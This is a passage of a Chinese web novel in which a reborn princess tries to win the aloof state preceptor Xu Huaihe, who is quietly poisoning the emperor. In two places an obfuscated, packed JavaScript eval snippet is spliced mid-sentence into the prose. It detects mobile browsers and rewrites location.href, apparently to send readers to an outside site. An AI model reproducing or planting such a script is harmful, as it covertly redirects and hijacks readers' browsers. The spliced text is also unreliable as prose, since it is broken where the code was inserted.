他话音落,大殿里便陷入了一片难言的寂静,空中似乎涌动着什么,但又倏而消弭。 宫人来传话的时候,许怀鹤就站皇帝身侧,他穿着一件银色暗纹的雪白长袍,袖口绣着飞鹤的祥纹,玄色的腰封扣住蜂腰,长身玉立,神色淡漠,远远看去,恍若仙人,让人不敢直视。 听完小太监的话,皇帝的脸上闪过一抹不易察觉的厌烦。 旁边的大太监立刻垂下眼睛,绷着面皮,默不作声。而许怀鹤也察觉到了这样一闪而过的情绪,他垂眼,面色丝毫未变,恍若未觉。 虽然并不清楚为何昭华公主殿下会突然提到自己,但许怀鹤轻笑了声,如同山间清泉流过,让人耳清目明:“臣愿为公主殿下效犬马之劳。” “你有这个心,那就去吧。”不过眨眼间,皇帝又恢复了平常那副看上去慈祥无比的面容,语气亲昵,“昭华从小身子弱,又失了母妃,朕平日多纵容她了一些,谁知她养成了一副骄纵性子。若是冒说了什么冒犯国师的话,还请国师不必放在心上。” 许怀鹤淡笑应声。 似乎又想起了什么,皇帝转头询问大太监:“户部刘侍郎的儿子如何了?” “回皇上的话,刘公子已经不再绝食了,声称自己要苦读诗书,考取功名,让昭华公主真心嫁与他。”大太监弯腰,不紧不慢地回了话。 在皇帝身边伺候了这么多年,大太监深知圣意,要逗皇上开心,于是又说了些细节,比如那刘公子被强行带出房间后,见了米汤是如何食欲大增,如同见了山珍海味一样,不顾一切地扑了上去,喝了个干净。 也不知国师大人做的那碗米汤里加了什么灵丹妙药,那刘公子喝完之后,脑子都比之前清醒了不少。 他的父亲刘侍郎之前一直劝他去考功名,公主才能看得上他,刘公子却听不进去,喝了那碗米汤之后居然就想通了,真是神仙手段。 “好啊。”皇帝笑了起来,他拍了拍手,“这下刘侍郎再不怕他的儿子为了昭华寻死觅活,这也算是因祸得福了。还是国师有功,解决了一桩麻烦事。” 皇帝心情愉悦,又点了几样奇珍异宝,让大太监去开库房,作为赏赐,等会儿送到国师的住处去。 “若刘侍郎的儿子将来真考取了功名,看在他对昭华一往情深的份上,让他做昭华的驸马也未尝不可。”皇帝笑了笑,“国师觉得如何呢?” 原本站立在皇帝身侧,如同一颗笔直的松柏一样,岿然不动的许怀鹤突然往旁边走了一步,抬起双手,对着皇位上的人深深一拜,袖口的白鹤跟着扇动翅膀,似乎要脱离这方寸之地,飞向白云之中。 “臣以为不妥。” 皇帝的神色慢慢沉了下去。 许怀鹤没有起身,他面无表情地盯着面前羊绒的地毯,语气没有丝毫起伏,仿佛在诉说一件和自己丝毫无关,但又是既定事实的事情:“昭华公主和刘公子两人八字不合,刘公子这次绝食,差点丢了性命,就是刑克的结果。” “昭华公主命格华贵,刘公子也有自己的造化,但却压不住也配不得公主殿下。若是强行将两人凑成一对,刘公子恐有性命之忧。” 许怀鹤知道这宫中的耳目遍布,他现如今说的话,不出一个时辰,就会传到想要知道的人耳朵里。 如果刘侍郎知道自己的独子要是再接触公主殿下,想要尚公主,就会有性命之忧,必定会比之前更加严厉管教独子,从此断了刘公子的心思。 再者,结亲不是结仇,但凡老皇帝还有一丝理智,就不会强行给这两人赐婚,让户部侍郎寒了心,也让其他大臣心生警惕,动摇忠心。 果然,在听完许怀鹤的话之后,皇帝的脸色恢复如常,不辨喜怒,但他似乎是有些疲倦了,捏了捏眉心,对着许怀鹤摆了摆手:“好了,朕知道了,此事不便再提。既然昭华让你过去,你就先去吧,让昭华身子早些好起来。” “臣遵旨。”许怀鹤说完之后缓慢起身,转身离开了大殿。 他走起路来步履稳健,却又轻盈无比,衣袂飘飘,黑与白在他的身上交织出玄妙的感觉,小太监跟在后面出了大殿,看着国师远去的背影,恍惚间觉得自己当真看见了一只清高孤傲的仙鹤。 “去把那套印着仙鹤的茶具拿出来。” 容钰抬手摸了摸自己的水滴白玉耳坠,微微偏头,对着站在身侧的桂嬷嬷轻声吩咐道。 虽然对许怀鹤的了解不多,但容钰也知道,这位国师大人上辈子以爱鹤出名,在被父皇赏赐了一座国师府后,竟然命人将原本的园林造景全部拆去,为他搜罗来的那十几只白鹤单独建了一汪池水,假山林立,让那些白鹤能够自由自在地生活。 不光如此,许怀鹤的衣物上也时常有鹤形的绣纹或者图案,对鹤的喜爱人尽皆知。 既然容钰下决心要攀附许怀鹤这位清心寡欲的高岭之花,也就必然要投其所好,至少这第一面,要给对方留下足够好的印象才行。 听完容钰的话,桂嬷嬷欲言又止,但最后还是应了声,亲自带小丫鬟们去库房将那套茶具找了出来,仔细清洗干净,摆在了茶桌上。 因为还病着未能痊愈,容钰的脸色略有苍白,她看着手镜中的自己轻轻皱了皱眉,正准备再让侍女给自己的双颊涂一层胭脂,就听见门外的侍女匆匆赶来:“公主殿下,国师大人到了。” 容钰立刻放下手镜,起身往前走了两步,准备亲自迎许怀鹤进来。 但她又忽然定住了步伐,意识到如今不比以后,许怀鹤还没有权势滔天,以现在的身份,该是许怀鹤主动进来拜见她,向她行礼才是。 于是容钰又缓缓坐了回去,略有些紧张地再摸了摸自己的耳坠,带粉的指尖也如同白玉一样美。 旁边,桂嬷嬷将她的动作和神色尽收眼底,再回想公主前夜醒来后,突然喊的那声名字,心里惊了惊,一个大胆的猜测浮上心头。 外面的脚步一声比一声更近,容钰的心跳也一声比一声更重。她又回想起了上辈子死后,看到的端坐皇位之上的许怀鹤,心脏快要蹦出嗓子眼儿,几乎坐不住。 “臣许怀鹤,拜见公主殿下。” 清冽的嗓音响起,容钰猛地回神,抬眼看向了来人。 许怀鹤收了伞站在门前,对着她微微弯腰一拜,白衣胜雪,鹤底纹的长袍被风雪一吹,和发带一起轻轻飘了起来,端的是一副仙人姿态,好像下一秒就要乘风而去,不属于这人世间,更无意沾染红尘和世俗。 除了上辈子死后,这或许是容钰第一次和许怀鹤距离这么近,那张脸如玉如琢,轮廓线条流畅而温润,但双眼略狭长,又增添了几分凌厉,鼻梁高挺,顾盼生辉。 许怀鹤看过来的那一瞬,容钰猝不及防的和他对视,下意识地狼狈偏头,心跳急促。 “……不必多礼。”容钰艰难找回了自己的声音,尽量让自己的声音柔和娇媚,抬手请许怀鹤落座。 这张脸的确无可指摘,好一个清冷君子,京城无一男子比得上他。 桂嬷嬷和其他侍女们候在轻薄可见人影的帘帐外,帘帐内就只剩容钰和许怀鹤和两人。 容钰略有不安地整理了一下袖口,手指绞在一起,垂下眼眸,不知道下一步该说什么,又该做什么。 以她的身份,如果不是上辈子出了那样的意外,她本该不必讨好任何男人,也没有学过要如何讨好一个男人,让对方爱上自己。 她周围身边更没有可效仿,可讨教的人,所以她手足无措,木讷难言,耳朵尖都染上了绯红。 帘帐内一时安静无比,许怀鹤的目光在容钰脸上淡淡滑过,他率先开口,声音清浅:“公主请臣来,是想听臣讲经,以消梦魇?” “是。”容钰轻点了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15090472|163623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点头,语气微顿,“国师是得道高人,不染俗尘,我也不讲究那些虚礼,国师以‘你我’相称就好。” 这是容钰早就想好的说辞,她在男女情爱之事上虽然未通关窍,但也明白,如果想让对方真心爱慕自己,那必然不能以身份压人,需得拉近关系。 再者,许怀鹤日后不可估量,就算她没能成功……也希望许怀鹤能看在她平等相待的份上,日后对她稍微好一些。 许怀鹤眉尾微动。 “好,那便如公主殿下所言。”许怀鹤的声音依旧淡淡,他从袖囊中取出两卷书册,“你是想听这篇《清心经》,还是这篇《宁心经》?” “都讲一遍吧。”容钰柔声回复。她捏了捏手指,心想着如果都讲一遍,那她和许怀鹤相处的时间也会变长一些。 她虽然没有让男子喜爱的手段,但对自己这张脸还是怀有十足的自信,她就不信,许怀鹤对自己这张脸不会动心。 然而一个时辰之后,容钰头晕眼花,她双目无神地盯着茶盏,全然忘记了自己请许怀鹤来到底要做什么。 许怀鹤原本清冽如雪的声线此刻如同魔音灌耳,摧残着容钰的头脑,茶里上下浮动的茶叶,还有地砖铺着毯子上的花纹,都比许怀鹤讲的经文内容要有趣的多。 太可怕了,太可怕了。容钰呆呆地想,许怀鹤讲经的样子,竟然和她曾经的老师,大儒孔景华如出一辙,就算吐字清晰,内容深刻,但听着就让人昏昏欲睡,痛苦无比。 她左耳进右耳出,光是用意志力支撑着自己不睡着,就已经花费了她全身的力气,再没有心思去想其他事情了。 只是孔景华夫子会大声呵斥她听课时走神,不专心,朽木不可雕,还会把她的所作所为全都状告给父皇,给她布置更多的课业。 而许怀鹤就算看出了她的走神和心不在焉,也不会呵斥她,只是装作看不见,继续讲着经文,时不时抿一口茶水润润嗓子。 末了,这场酷刑终于结束,许怀鹤合上书册,从容起身,看了一眼目光呆滞的容钰,忽然一笑。 如同清风拂面,久寒的冰山融化出了一点春水,容钰为这样的好颜色怔愣了一瞬,睡意全消,立刻清醒了不少。 她迟钝地反应了几息,有些羞恼地瞪了瞪美目,睫毛微颤,眼波流转,似怒似怨地看着许怀鹤。 好大的胆子,许怀鹤这是在嘲笑她?! 但仔细看去,许怀鹤的眼神明净,又并没有嘲笑她的意思,脸上的笑容也消散不见,恢复了平常冷淡的神色。 容钰哽了一下。 “公主殿下听我讲经,只是求个心安,若真想痊愈,还需好药来医治。”被容钰瞪了一眼,许怀鹤的神色也未变,“我这里有一个治咳疾和风寒的方子,你若是需要,我便制好药丸,改日让人送过来。” “那便多谢你了。”容钰抿了抿唇,她为刚才自己的失态感到羞愤,但又不想让许怀鹤看出来,免得让自己更恼,“也多谢国师今日前来为我讲经,我送国师出门。” 许怀鹤颔首。 容钰起身,往前走了几步,不知道是不是许怀鹤有意,他身为男子,身量高,步伐也大,走的速度应该比自己快不少,但为了迁就自己,似乎刻意走慢了些,和自己几乎并肩走到门口。 许怀鹤转身,对着容钰微微弯腰一拜:“公主殿下就送到这里吧,臣先行离开了。” 容钰点了点头,她盯着许怀鹤挺拔离开的背影,揪着手里的帕子,为自己勾引许怀鹤的困难程度又增添了几分忧虑。 像许怀鹤这样不为美色所动,古板无趣,不染红尘的修道之人,她真的能够让对方爱上自己吗? 容钰深吸了一口气,仿佛下定了什么决心,回了屋内,低声对着桂嬷嬷咬牙说:“嬷嬷,我要……我要市面上所有新出的话本子,情情爱爱那些,还要一个舞姬,要教坊司的。” 桂嬷嬷这下脸色是真的变了。 她忍了又忍,还是没能忍住:“公主殿下是为了国师?” 4. 第 4 章 听到桂嬷嬷的问话,容钰心里紧了紧,不禁在内心问自己,她表现的真的有那么明显吗? 但对上桂嬷嬷洞察一切的视线,容钰知道自己瞒不过,又咬了咬唇,不轻不重地“嗯”了一声,勉强承认下来。 桂嬷嬷是母妃留给她的人,忠心耿耿,又心灵手巧,待人处事圆滑,不管是这辈子还是上辈子,都是她最好的帮手,也是最好的嬷嬷。 上辈子她被送去和亲,为了防止她逃跑或者生出旁的心思,父母把她身边的人全都换了一批,说是照顾伺候,实际是监视也不为过,还是桂嬷嬷苦苦哀求父皇,才得了同意,陪伴在她身边,一直到她病死。 想到这里,容钰的眼角又有些湿意,她微微偏了偏头,不想让桂嬷嬷看见自己失态,也不好意思说自己是想勾引许怀鹤,让许怀鹤倾心自己,挑了个折中的说法:“我想让他做我的驸马。” 桂嬷嬷不禁皱起眉,她不明白,公主殿下想让国师做驸马,何须用这种手段? 她语重心长:“公主殿下,国师不过是个虚职,许怀鹤又出身低微,公主殿下挑他做驸马,那可是许多人都争着抢着都得不到的殊荣,他该千恩万谢,感恩戴德才是。” 至于许怀鹤会不会答应,根本不在桂嬷嬷的考虑范围之内。 先不说公主殿下这等美貌,这样的窈窕身段,天底下没有哪个男人会拒绝的了,再说许怀鹤是修道之人那又如何?只要公主殿下请圣上赐婚,皇上这么宠爱公主殿下,必定会应允,还容许怀鹤拒绝吗?许怀鹤成为驸马,还不是板上钉钉的事? “嬷嬷,”容钰轻轻叹了口气,“结亲不是结仇,需得他真心爱重我才行。” 容钰想的很明白,她得让许怀鹤深爱自己,若是许怀鹤不愿意成为她的驸马,她却找父皇强求,许怀鹤说不定还会怨恨上她,那她将来还有好日子过吗? 她为了避免被送去和亲的命运,也不是没想过提前嫁人,但除了许怀鹤,其他人她都看不上。 那些公子世子们不是侍妾成群,被酒色掏空了身体,就是容貌平平,或者毫无功名,半点本事都没有,全靠家族荫庇,不然上辈子的她也不会拖到那时都未嫁人。 在跌落泥沼面前,往日的荣华富贵,尊宠荣辱,束缚规矩,全都成为了浮云,成为了不值一提的东西。 她也要放下矜持,放下身段,去学怎么讨好一个男人。 “嬷嬷,”容钰撅了撅嘴唇,甜声撒着娇,“你就应了我吧。” 娇媚和天真在她身上融合的极好,让人忍不住偏向她,光是听着她的嗓音就心里一软,更别提她的撒娇,几乎没人能抵抗住。 桂嬷嬷最终叹了口气:“是,老身这就叫人去办。” 她点了几个丫鬟,一边吩咐下去,一边在心里想着也不知为何,宫里送来的人越发没规矩了。 是时候挑两个机灵的丫鬟出来,由她亲自教导着,让她们成为公主殿下的贴身侍女,等自己老了,不中用了,公主殿下也能有新的人可用,用的舒心趁手。 话本子的事好办,让小丫鬟去买就行,公主殿下最不缺的就是钱,哪怕把整个京城的书铺子包下来都行。 至于舞姬,以公主殿下的身份,养几个舞姬也不算出格,现在一些普通官员的家里都会养几个舞姬用来宴客,高官之间人情往来,送出去几个美艳的舞姬也是常有的事。 教坊司调/教出来的美人个个水灵,也极有手段,能哄得男人对她们倾心,但自己也得在旁边看好了,桂嬷嬷冷哼一声,免得舞姬说了不该说的话,或者教坏了公主殿下什么,那是万万不行的。 想着公主殿下还在病中,桂嬷嬷关了窗,将簌簌的白雪隔绝在外,一转头就对上了欺霜赛雪,冰姿玉魄的公主殿下,不由得再次在心中感叹,这天底下恐怕无人比得上公主的花容月貌。 屋里极暖,容钰没有带兔毛围脖,露出一截修长雪白的脖颈,她坐回了茶桌边,半托着脸,陷入思索中。 下人早在她转身前,就手脚利索地将茶具收了起来,送去清洗,重新封入箱笼之中,等待着下一次使用。 容钰的鼻尖突然飘过一抹檀香,她这时才恍然察觉,这是属于许怀鹤的味道,清雅淡薄,只可惜她初见许怀鹤的时候太紧张,没能闻出来这股极好闻的香气,能让人心情宁静,不自觉放松下来。 而和许怀鹤在一起一个时辰,她又习惯了这股香,没闻出来什么异样,这会儿许怀鹤走了,她在门前通了口气,又重新回到屋中,这才察觉到屋里还萦绕着许怀鹤留下的气息。 接近许怀鹤的计划算是开了个头,但容钰忧心的还有另外几件,她的手指点在微凉的茶桌上,转头问桂嬷嬷:“舅舅最近在干什么?” 桂嬷嬷面露难色,她这些天尽心尽力地照顾公主殿下的风寒,倒还真没注意外头的事情。 而这时,屋角内一个小丫鬟往外走了一步,对着容钰福身,声音不大,但却能够让人听清,又不会传到外头去:“回公主殿下的话,镇国公最近在军营练新兵,前些日子还为公主送来了从边境那边采买的上等羊绒,公主殿下命奴婢等人收起来做件夹袄,已经交给绣娘了,不日便能做出来。” 听得这话,容钰让她抬起头来,细细打量了一番,越发觉得眼熟。 这不是春桃吗?现在面容还有些稚嫩,但言语间条理清晰,胆子也大,已经有了后来头等侍女的样子。 春桃上辈子没能陪她去和亲,而是被永宁要了过去,容钰一开始还以为永宁是看上了春桃的能力,才把人要了过去,心里甚至还松了口气,为春桃感到高兴,觉得春桃不用陪她去那边境苦寒之地遭罪,说不定日后在宫里还能成为女官,安度下半辈子。 可是她等来的,却是桂嬷嬷回来哭着说,春桃犯了错,已经被永宁公主杖杀的消息。 容钰知道春桃行事向来谨慎,手脚稳当,人又聪明,绝对不会犯大错,肯定是永宁故意的,故意给春桃安了个罪名,虐杀了春桃。 永宁讨厌她,又看她被送去漠北和亲,再也回不来京城,就作践她身边的人,把气撒在春桃的身上! 心里怒气陡升,容钰捏紧了手里的帕子,闭紧了眼,深深缓了几口气,才勉强平复了心绪,但还是气的不轻。 桂嬷嬷也注意到了春桃,心想这是个好苗子,进退有度,耳聪目明,值得培养一番。 她刚想开口找公主要人,让春桃以后跟着自己做事,就听到公主殿下突然说:“你倒是个机灵的,以后就跟在桂嬷嬷身边做事吧,好好学着。月例也给你提一提,先当个二等侍女吧,要是做的好,再给你提一提。” 春桃脸上的惊讶完全掩盖不住,她愣了愣,连忙给容钰行礼,磕了头谢恩,乖乖地站到了桂嬷嬷身后。 “也不知舅舅有没有空,我想去镇国公府拜访。”容钰扣紧手心,“许久未见外祖母和舅舅,还有其他亲人们,我也想他们了。” 她总觉得舅舅上辈子守边关战死的事情另有蹊跷,舅舅的大军足有十万之数,小小的边城不可能说破就破,而且舅舅那么勇猛,手底下的兵也孔武有力,比那更大的战役也打过,又怎么会死在一场小小的战役当中? 还有外祖父的病,究竟是什么病,才能够让一个人在几天之内就失去生机,病痛致死?若是早早就埋下了病根,她必须现在就请郎中去给外祖父看诊,避开将来的祸事。 桂嬷嬷劝道:“公主殿下,您如今病还没好全,不如等病痊愈了,再去镇国公府探望,免得让亲人担心。” 容钰想了想也是,她还得先养好自己的身子,才有能力和力气做后面的布置,若是现在就早早拖垮了自己这副身体,后面做的再多又有什么用呢? “而且,”桂嬷嬷顿了顿,“公主殿下是不是忘了,孔大儒给您布置的课业,您还一字未动,等您痊愈之后,还需得先去补上落下的课程,否则孔大儒又要斥责您了。” 听到“孔大儒”三个字,容钰一抖,惊的差点站起来。 她怎么就忘了?!现在是康盛八年,她还是孔景华的学生,孔景华也还是那个古板的,严厉的,可怕的夫子! 不不不,容钰猛地摇了摇头,头上的珠钗也跟着晃动,冰凉的珠玉贴在她的脸侧,让她忍不住打了个哆嗦。 她才不要再经历一遍那样的痛苦!她再也不想听孔景华讲述枯燥无味的课程,也不想再听孔景华骂她蠢笨,骂她是朽木了。 容钰知道自己在读书这件事上不甚聪明,可她又不去考科举,凭什么要受这样的苦?孔景华讲的晦涩难懂,就连那些已经考中了进士,入了翰林院的官员都不一定能够听明白,为什么要她去学? 容钰瞬间苦了脸,秀气的眉毛拧着,好看的脸上浮出苦闷的神色,让人忍不住想去哄一哄她,让她重新展露笑颜。 这还不如听许怀鹤讲经呢,容钰心想,至少许怀鹤的脸好看,她看着舒心,而且许怀鹤也不会斥骂她,说不定布置的课业也很轻。 容钰怀着三分期待,三分犹豫,询问桂嬷嬷说:“嬷嬷,你说如果我现在去求父皇给我换一个老师,让国师来为我授课,父皇会同意吗?” 桂嬷嬷沉默了会,心想公主也太看重国师了,恐怕一颗小女儿心都栽在了国师身上,委婉地劝道:“这得看皇上怎么想。” 上辈子的容钰也受不了孔景华的严厉教导,也想过换老师,但她那时和许怀鹤无甚交集,也不熟悉对方的为人,自然没有要求换成许怀鹤,而是想要换成另外一名据说和蔼可亲,从不打骂学生的山长。 只是就在那天,她入宫去见父皇,想提起这件事时,永宁恰好也在,还向父皇展示了这些天来她的所学成果,背完了一篇《左传》,回答了父皇几个问题,获得了父皇的夸奖。 她心里的骄傲被激起,也不想在永宁面前示弱,让永宁看了笑话,便咬牙把这件事吞回了肚子里,后面也没再提起,苦学了好一阵,想去父皇面前展示,但最终效果也不大。 这辈子她才不会那么傻呢。 如果没有发生上辈子那些事,容钰有了这个想法,肯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15090473|163623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定早就迫不及地让人备车入宫,去求父皇让国师给自己授课了。 但想到上辈子发生的那些事,迷茫和恐慌如潮水般蔓延,覆盖了她的心头,她不自觉用手指用力按住了桌沿,对于入宫见到父皇这件事有了几分抗拒。 她还没有想好要怎么面对一朝变脸,对她冷漠无情的父皇,她也想不明白自己上辈子到底做错了什么,才引得父皇讨厌她。 她不完全相信永宁的话,也不愿意相信父皇从一开始就不爱自己,而是偏爱永宁。 可她终究是要面对这些的,她不可能躲一辈子。 容钰慢慢松开了按着桌沿的手,在内心宽慰自己,再等等,再让自己缓一缓,等明日再说。 她放松下来,让人拨了炉子,炭火烧得更旺,回到拔步床边,倚着软枕看书册,又有些走神地想,也不知许怀鹤现如今在干什么。 小半个京城之隔,许怀鹤用长钳拨弄了一下丹炉里的炭火,让火烧的更旺一些,看了看旁边的钟漏,还有一刻钟,这炉给皇上的药丸便好了。 他想起了皇帝今天说的话,有意让昭华公主嫁给刘世郎的儿子,极轻地扯了下唇角,不动声色地将一味药粉加入丹炉,用量加的更重。 最少三年,至多五年,老皇帝的身躯就会被这些慢性毒药拖垮,到时候任何一名太医前来,都束手无策,也查不出任何结果。 做完这些,许怀鹤细细净了手,用白色的丝绢擦干,转身走向了另外一个较小的丹炉,将已经制好的,给昭华公主的丹药拿出来。 他用模具做成一口能吞下的小巧药丸,慢条斯理地放进白瓷的药瓶里,递给旁边等候的小道童:“送去昭华公主府上。” 顶着圆发髻的小道童弯腰,也不敢看许怀鹤,双手接过,应了声“是”,极小心地装进木盒子里,捧着木盒快步出了炼丹房。 那治风寒的药丸里加了少许蜂蜜,并不苦口,希望她能吃得惯。许怀鹤淡淡想着,等一刻钟过后,随意打开大丹炉,将里面的丹药产铲出来,做成拇指大的黑药丸,随意扔进木盒里,用绸缎一盖,扔给了另外一个大气也不敢出的道童:“给皇上送去。” 做完这炉丹药之后,许怀鹤知道,自己又能够清闲一段日子了。 背后的几股势力虎视眈眈,都想趁他未成长起来控制他,他也任凭他们狗咬狗一嘴毛,作壁上观,冷眼看戏。 只可惜那些人的戏,还不如昭华公主一个回眸好看。许怀鹤失了兴趣,他抽了把伞,出了炼丹房,从观星楼上往下看,整个京城尽在眼底。 观星楼设在宫内的西北角,是全京城最高的建筑,原是为了方便钦天监观测天象而建造的。 那些人帮他造势,鬼话连篇,老皇帝竟然也信了,还推崇他成为国师,现在观星楼就成了他的居所,方便他观星占卜,就连炼丹房也一并搬了过来。 许怀鹤的视线停留在往南的地方,那是一片勋贵公侯的府邸,而其中占地最大,看上去最华贵,最繁盛的,便是公主府。 昭华公主的公主府。 雪下大了,在地上铺了薄薄一层银霜,许怀鹤收回视线,思索着也不知道昭华公主下一次入宫是什么时候。 至少他没有想到的是,昭华公主下一次进宫会来的这么快,还和他有关。 * 两天后,冬月十七的白日,容钰病好了。 “国师是有几分真本事的人。”桂嬷嬷忍不住感叹道,“寻常公主殿下的风寒总得拖上半月才好,吃了国师送来的药丸,居然两日便大好了,也难怪国师能得圣心。” 春桃顶了往日桂嬷嬷的位置,她学东西快,手脚利索,轻轻梳着容钰的头发,手指一绾,便梳出了蝴蝶一样的发髻,往上面插满了珠花,粉白的珍珠和翠绿的翡翠相间,宛若真的花丛。 容钰轻抿了口脂,原本红润的唇水光晶莹,像是抹了蜜,她笑着回复桂嬷嬷:“是,国师是有真本事的人。等下次见到他,要当面致谢才是。” 想起马上要进宫面圣,容钰平了唇角,收起了笑。 今日也是她进宫见父皇的日子,等她向父皇讨要,换了夫子之后,再去镇国公府看望舅舅和祖父。 一天的行程满满当当,容钰先吃了几块杏仁糕垫肚子,又抿了口清茶压味,才被春桃扶着,慢步出了门,坐上马车入宫。 越是靠近宫门,容钰的心里就越是打鼓,她双手绞着,也无心去看马车外的繁华。进了宫门后容钰换了软轿,直到快要到御书房才落轿。 容钰下轿,兔毛软鞋踩着青砖,仍有几分不实感,她看着熟悉又陌生的御书房门匾,上辈子的噩梦便是从这里开始,一时间,她就连跨出去的步子都有些颤抖。 就在容钰浑身发冷,眼前一阵黑一阵晃,连站都快站不稳时,身侧突然有一道声音,如同日光拨开迷雾,让她瞬间清醒:“拜见昭华公主殿下。” 容钰猛地转头,许怀鹤立在三步远的地方,神色清清冷冷,拱手行礼,身姿如松,白衣边缘翻飞,如同仙灵坠入人世。 5. 第 5 章 今日没有下雪,容钰却有一种许怀鹤踏着风雪和凛凛寒霜,来到自己面前的错觉,她抬手抚了抚发凉的面颊,声音飘忽:“免礼。” 许怀鹤直起身,微微低垂眼眸,却在抬眼的瞬间已经将容钰看了一遍。 因为今日要入宫,容钰盛装打扮过,头上的珠翠如同春日的花丛,色彩繁杂,被风一吹还有立珠颤动,像是真有一只留恋于花丛中的蝴蝶,在她发间飞舞一般。 她带了一圈白色的狐毛围脖,更衬的她脖颈纤细,脸型小巧,长睫下一双水汪汪的眼眸正盯着他,红唇水润。 她的上半身是同样白色的长袄,绣着繁复的山茶花,从肩膀一直延伸到袖口,就连纽扣也做了花型,下面穿着深红的织金马面裙,裙边坠着绒毛,遮住脚踝,和鞋上的绒毛相接。 也许是怕冷,她外面还披了一层粉红的披风,上面同样满是绣纹,精密秀美,但这样穿却丝毫不显得臃肿,反而更衬得她身形窈窕,纤细的腰肢盈盈一握,扶风弱柳,眼波潋滟。 闻着由风送来的,容钰身上淡淡的山茶花香,许怀鹤突然就明白了,为什么刘侍郎的儿子哪怕拼了命也想当驸马。 昭华公主这样的容貌,多的是男子愿意为她赴死,只求她多一次回首,求她嫣然一笑罢了。 想毕他又有些自嘲地一笑,难道自己不也是吗? 只是他比其他人还不如,至少刘公子能够大胆表达他对公主殿下的爱意,闹得人尽皆知,而他只能在远处默默望着,免得自己内里一身污糟脏了公主殿下的眼。 “公主殿下是要去御书房?”许怀鹤收起了情绪,他站在原地,声音不高不低,“刚才公公说了,皇上还在召集几位大臣议事,不方便进去打扰,让臣在外面等候一会儿,正巧遇到了殿下。” 被许怀鹤这么一打岔,容钰也没有之前那么紧张了,她回神,想起了之前许怀鹤送丹药的事,眉眼弯弯地笑了笑:“那是巧了。说起来本宫还没谢过国师送来的丹药,国师果然大才,在炼丹之术上造诣颇深,我只服用了两日便已经全好了。” 这是规矩森严的宫中,两人都默契地没有提私底下的你我相称,许怀鹤也客气地淡笑了笑:“公主已经遣人送过了谢礼,不必如此客气。” 足足黄金百两,收礼的小道童都吓呆了,昭华公主可真是出手阔绰。 这话说完之后,两人之间就陷入了沉默。容钰有些尴尬,她在炼丹和天象的事上一窍不通,和许怀鹤也没有什么可聊的,她害怕自己一开口就会暴露出浅薄无知,徒惹对方笑话,还很丢脸。 而且宫里也不是方便说话的地方,容钰便忍住了,轻轻抿了抿唇,只是专心想着接下来要怎么面对父皇,要说什么话,才能不露出异常。 看到容钰站在外面等候着,来传话的小太监吓了一跳,连忙跑过来对着容钰深深弯腰:“公主殿下还请去偏殿稍作歇息,这冰天雪地的,把您冻着了可怎么办?皇上得多心疼啊!” 换做往常,容钰才不会在意这么多虚的规矩,都不需要小太监的提醒,早就进了偏殿,熏着暖炉坐着喝茶了。 父皇的宠爱总是会为她破例,哪怕父皇此时正在御书房里和其他大臣们商议要事,她也可以直接进入偏殿等候。 若是其他人来,只要是三品以下的官员,都得在御书房外面,冰天雪地里候着,由此可见容钰有多受宠。 但是如今,容钰却不想这样破例了,她不知道自己到底是从什么时候起,惹得父皇不快,但她知道,一个总是骄纵,不守规矩的公主大约也是不讨人喜欢的,所以她决定在父皇面前收敛些。 于是容钰只是婉拒:“不必了,本宫不便打扰父皇,还是国事重要。” 许怀鹤不由得多看了容钰一眼。 外面都传昭华公主殿下背靠镇国公府,加上先皇后去的早,皇上也许是心怀愧疚,对昭华公主又极尽宠爱,种种因素之下,昭华公主便成了这整个京城中最不能惹,最骄纵的存在。 甚至前些日子,还有“昭华公主让朝廷命官的夫人下跪磕头”的传言,就连贵妃娘娘都忍不住在皇上面前提了一嘴,希望皇上能够稍微约束一下昭华的言行,但皇上似乎并没有把这件事情放在心上,还大张旗鼓地给了昭华公主许多赏赐,送去了公主府上。 作为给刘公子做米汤的人,许怀鹤当然知道内情,也能猜到那位下跪的朝廷命官夫人,多半就是刘侍郎的夫人,刘公子的母亲。 刘夫人爱子心切,想让公主允了刘公子当驸马,为此不惜下跪求情,也是不出意外的。 可惜为了公主殿下的名声,这件事的内情是不能让外人知道的,刘侍郎一家也把紧了嘴,不能往外说半个字,也不愿意把家丑外扬。 但似乎不解释这件事,反而依旧让昭华公主殿下在外面的名声变得更坏了,以昭华公主的性子,她愿意吃下这个闷亏吗? 不过眨眼间,许怀鹤就已经将事情理清,他心想,或许昭华公主今日入宫来求见皇上,就是为了这件事,他如今在皇上面前也能说上几句话,应该能从旁协助一二,帮公主殿下要一个舒心的结果。 然而他这次却猜错了。 容钰此刻内心想的事情,和刘侍郎一家没有半点关系,哪怕是上辈子,她也没有再计较这个结果,因为她得到了赏赐,其他人也有了或多或少的惩罚,再她看来,这就够了。 许多人都不知晓的是,昭华公主本性纯良,甚至到了天真的地步,她像被精心豢养的金丝雀,被珍藏在象牙塔里的珠玉,外头的风言风语丝毫影响不到她,她也听不见外面的声音,不知世事,更不知人心。 所以她一朝重生,面对未来的危险,首先想到的也是攀附他人,送她去和亲的父皇指望不上,她就把希望放在许怀鹤身上。 容钰婷婷站着,双手笼在袖子里,还捧着暖炉,加上穿的厚,并不觉得冷,觉得自己至少还能在这寒风里站一刻钟。 容钰愿意站着,小太监却怕极了,他一跺脚,又连忙回了御书房内,不多时又从里面匆匆赶出来,额头上都冒了一层细密的汗。 